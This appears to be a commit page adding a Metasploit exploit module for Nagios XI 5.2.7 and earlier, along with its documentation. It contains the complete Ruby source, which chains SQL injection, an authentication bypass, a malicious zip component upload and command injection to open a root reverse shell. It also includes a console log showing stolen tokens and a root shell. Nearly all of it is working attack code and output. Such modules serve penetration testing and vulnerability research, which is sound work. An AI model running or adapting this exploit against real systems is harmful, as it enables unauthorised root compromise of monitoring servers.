Land #7014, Nagios remote root shell exploit
commit
70a79bb0e8
|
@ -0,0 +1,73 @@
|
|||
## Intro
|
||||
|
||||
Nagios XI is the enterprise version of Nagios, the monitoring software we love
|
||||
and hate.
|
||||
|
||||
> This module exploits an SQL injection, auth bypass, file upload, command
|
||||
injection, and privilege escalation in Nagios XI <= 5.2.7 to pop a root shell.
|
||||
|
||||
## Setup
|
||||
|
||||
**Download the virtual appliance:**
|
||||
|
||||
I used the 64-bit OVA [here]. Remove the "-64" in the link to download the
|
||||
32-bit OVA.
|
||||
|
||||
[here]: https://assets.nagios.com/downloads/nagiosxi/5/ovf/nagiosxi-5.2.7-64.ova
|
||||
|
||||
**Import the OVA:**
|
||||
|
||||
Just import it into VMware or VirtualBox. It should create a VM for you.
|
||||
|
||||
**Configure the software:**
|
||||
|
||||
When you start the VM, you will see ```Access Nagios XI at http://[redacted]```
|
||||
on the login screen. Connect to the URL using your web browser and follow the
|
||||
steps on the screen to configure the app.
|
||||
|
||||
Configuration is actually not required to exploit the app, but you should do it
|
||||
anyway.
|
||||
|
||||
## Usage
|
||||
|
||||
Just set ```RHOST``` and fire off the module! It's pretty much painless.
|
||||
```set VERBOSE true``` if you want to see details.
|
||||
|
||||
```
|
||||
msf > use exploit/linux/http/nagios_xi_chained_rce
|
||||
msf exploit(nagios_xi_chained_rce) > set rhost [redacted]
|
||||
rhost => [redacted]
|
||||
msf exploit(nagios_xi_chained_rce) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(nagios_xi_chained_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on [redacted]:4444
|
||||
[*] Nagios XI version: 5.2.7
|
||||
[*] Getting API token
|
||||
[+] API token: 3o2erpm0
|
||||
[*] Getting admin cookie
|
||||
[+] Admin cookie: nagiosxi=jcilcfptj7ogpvovgs3i5gilh7;
|
||||
[+] CSRF token: 477abd7db8d06ade9c7fcd9e405fd911
|
||||
[*] Getting monitored host
|
||||
[+] Monitored host: localhost
|
||||
[*] Downloading component
|
||||
[*] Uploading root shell
|
||||
[*] Popping shell!
|
||||
[*] Command shell session 1 opened ([redacted]:4444 -> [redacted]:60132) at 2016-07-01 00:12:20 -0500
|
||||
[*] Cleaning up...
|
||||
[*] rm -rf ../profile
|
||||
[*] unzip -qd .. ../../../../tmp/component-profile.zip
|
||||
[*] chown -R nagios:nagios ../profile
|
||||
[*] rm -f ../../../../tmp/component-xAmhUGRn.zip
|
||||
|
||||
3904334783
|
||||
TwMSxKhKEaxUjlTSNYyeICVUuPSNkwoI
|
||||
cKKdfdZxRpDduZCezKXOficrVyNeVggH
|
||||
mRVdstQmfdtnFiYMjLgyfvRWXyQZPyUF
|
||||
dDlRoqhBvqvwrhKYWumimyKxVHSbrkoE
|
||||
wjCWBTgbsQuPemhiByeMpMEhdPooHEvw
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
|
||||
uname -a
|
||||
Linux localhost.localdomain 2.6.32-573.22.1.el6.x86_64 #1 SMP Wed Mar 23 03:35:39 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
|
||||
```
|
|
@ -0,0 +1,275 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Nagios XI Chained Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits an SQL injection, auth bypass, file upload,
|
||||
command injection, and privilege escalation in Nagios XI <= 5.2.7
|
||||
to pop a root shell.
|
||||
},
|
||||
'Author' => [
|
||||
'Francesco Oddo', # Vulnerability discovery
|
||||
'wvu' # Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
['EDB', '39899']
|
||||
],
|
||||
'DisclosureDate' => 'Mar 6 2016',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Privileged' => true,
|
||||
'Payload' => {
|
||||
'Compat' => {
|
||||
'PayloadType' => 'cmd cmd_bash',
|
||||
'RequiredCmd' => 'generic bash-tcp php perl python openssl gawk'
|
||||
}
|
||||
},
|
||||
'Targets' => [
|
||||
['Nagios XI <= 5.2.7', version: Gem::Version.new('5.2.7')]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'cmd/unix/reverse_bash',
|
||||
'LHOST' => Rex::Socket.source_address
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi!(
|
||||
'method' => 'GET',
|
||||
'uri' => '/nagiosxi/'
|
||||
)
|
||||
|
||||
return unless res && (html = res.get_html_document)
|
||||
|
||||
if (version = html.at('//input[@name = "version"]/@value'))
|
||||
vprint_status("Nagios XI version: #{version}")
|
||||
if Gem::Version.new(version) <= target[:version]
|
||||
return CheckCode::Appears
|
||||
end
|
||||
end
|
||||
|
||||
CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
if check != CheckCode::Appears
|
||||
fail_with(Failure::NotVulnerable, 'Vulnerable version not found! punt!')
|
||||
end
|
||||
|
||||
print_status('Getting API token')
|
||||
get_api_token
|
||||
print_status('Getting admin cookie')
|
||||
get_admin_cookie
|
||||
print_status('Getting monitored host')
|
||||
get_monitored_host
|
||||
|
||||
print_status('Downloading component')
|
||||
download_profile_component
|
||||
print_status('Uploading root shell')
|
||||
upload_root_shell
|
||||
print_status('Popping shell!')
|
||||
pop_dat_shell
|
||||
end
|
||||
|
||||
#
|
||||
# Cleanup methods
|
||||
#
|
||||
|
||||
def on_new_session(session)
|
||||
super
|
||||
|
||||
print_status('Cleaning up...')
|
||||
|
||||
commands = [
|
||||
'rm -rf ../profile',
|
||||
'unzip -qd .. ../../../../tmp/component-profile.zip',
|
||||
'chown -R nagios:nagios ../profile',
|
||||
"rm -f ../../../../tmp/component-#{zip_filename}"
|
||||
]
|
||||
|
||||
commands.each do |command|
|
||||
vprint_status(command)
|
||||
session.shell_command_token(command)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Exploit methods
|
||||
#
|
||||
|
||||
def get_api_token
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => '/nagiosxi/includes/components/nagiosim/nagiosim.php',
|
||||
'vars_get' => {
|
||||
'mode' => 'resolve',
|
||||
'host' => '\'AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((' \
|
||||
'SELECT backend_ticket FROM xi_users WHERE user_id=1' \
|
||||
'),FLOOR(RAND(0)*2))x ' \
|
||||
'FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- '
|
||||
}
|
||||
)
|
||||
|
||||
if res && res.body =~ /Duplicate entry '(.*?).'/
|
||||
@api_token = $1
|
||||
vprint_good("API token: #{@api_token}")
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, 'API token not found! punt!')
|
||||
end
|
||||
end
|
||||
|
||||
def get_admin_cookie
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => '/nagiosxi/rr.php',
|
||||
'vars_get' => {
|
||||
'uid' => "1-#{Rex::Text.rand_text_alpha(8)}-" +
|
||||
Digest::MD5.hexdigest(@api_token)
|
||||
}
|
||||
)
|
||||
|
||||
if res && (@admin_cookie = res.get_cookies.split('; ').last)
|
||||
vprint_good("Admin cookie: #{@admin_cookie}")
|
||||
get_csrf_token(res.body)
|
||||
else
|
||||
fail_with(Failure::NoAccess, 'Admin cookie not found! punt!')
|
||||
end
|
||||
end
|
||||
|
||||
def get_csrf_token(body)
|
||||
if body =~ /nsp_str = "(.*?)"/
|
||||
@csrf_token = $1
|
||||
vprint_good("CSRF token: #{@csrf_token}")
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, 'CSRF token not found! punt!')
|
||||
end
|
||||
end
|
||||
|
||||
def get_monitored_host
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => '/nagiosxi/ajaxhelper.php',
|
||||
'cookie' => @admin_cookie,
|
||||
'vars_get' => {
|
||||
'cmd' => 'getxicoreajax',
|
||||
'opts' => '{"func":"get_hoststatus_table"}',
|
||||
'nsp' => @csrf_token
|
||||
}
|
||||
)
|
||||
|
||||
return unless res && (html = res.get_html_document)
|
||||
|
||||
if (@monitored_host = html.at('//div[@class = "hostname"]/a/text()'))
|
||||
vprint_good("Monitored host: #{@monitored_host}")
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, 'Monitored host not found! punt!')
|
||||
end
|
||||
end
|
||||
|
||||
def download_profile_component
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => '/nagiosxi/admin/components.php',
|
||||
'cookie' => @admin_cookie,
|
||||
'vars_get' => {
|
||||
'download' => 'profile'
|
||||
}
|
||||
)
|
||||
|
||||
if res && res.body =~ /^PK\x03\x04/
|
||||
@profile_component = res.body
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to download component! punt!')
|
||||
end
|
||||
end
|
||||
|
||||
def upload_root_shell
|
||||
mime = Rex::MIME::Message.new
|
||||
mime.add_part(@csrf_token, nil, nil, 'form-data; name="nsp"')
|
||||
mime.add_part('1', nil, nil, 'form-data; name="upload"')
|
||||
mime.add_part('1000000', nil, nil, 'form-data; name="MAX_FILE_SIZE"')
|
||||
mime.add_part(payload_zip, 'application/zip', 'binary',
|
||||
'form-data; name="uploadedfile"; ' \
|
||||
"filename=\"#{zip_filename}\"")
|
||||
|
||||
res = send_request_cgi!(
|
||||
'method' => 'POST',
|
||||
'uri' => '/nagiosxi/admin/components.php',
|
||||
'cookie' => @admin_cookie,
|
||||
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
|
||||
'data' => mime.to_s
|
||||
)
|
||||
|
||||
if res && res.code != 200
|
||||
if res.redirect? && res.redirection.path == '/nagiosxi/install.php'
|
||||
vprint_warning('Nagios XI not configured')
|
||||
else
|
||||
fail_with(Failure::PayloadFailed, 'Failed to upload root shell! punt!')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def pop_dat_shell
|
||||
send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => '/nagiosxi/includes/components/perfdata/graphApi.php',
|
||||
'cookie' => @admin_cookie,
|
||||
'vars_get' => {
|
||||
'host' => @monitored_host,
|
||||
'end' => ';sudo ../profile/getprofile.sh #'
|
||||
}
|
||||
)
|
||||
end
|
||||
|
||||
#
|
||||
# Support methods
|
||||
#
|
||||
|
||||
def payload_zip
|
||||
zip = Rex::Zip::Archive.new
|
||||
|
||||
Zip::File.open_buffer(@profile_component) do |z|
|
||||
z.each do |f|
|
||||
zip.entries << Rex::Zip::Entry.new(
|
||||
f.name,
|
||||
(if f.ftype == :file
|
||||
if f.name == 'profile/getprofile.sh'
|
||||
payload.encoded
|
||||
else
|
||||
z.read(f)
|
||||
end
|
||||
else
|
||||
''
|
||||
end),
|
||||
Rex::Zip::CM_DEFLATE,
|
||||
nil,
|
||||
(Rex::Zip::EFA_ISDIR if f.ftype == :directory)
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
zip.pack
|
||||
end
|
||||
|
||||
#
|
||||
# Utility methods
|
||||
#
|
||||
|
||||
def zip_filename
|
||||
@zip_filename ||= Rex::Text.rand_text_alpha(8) + '.zip'
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue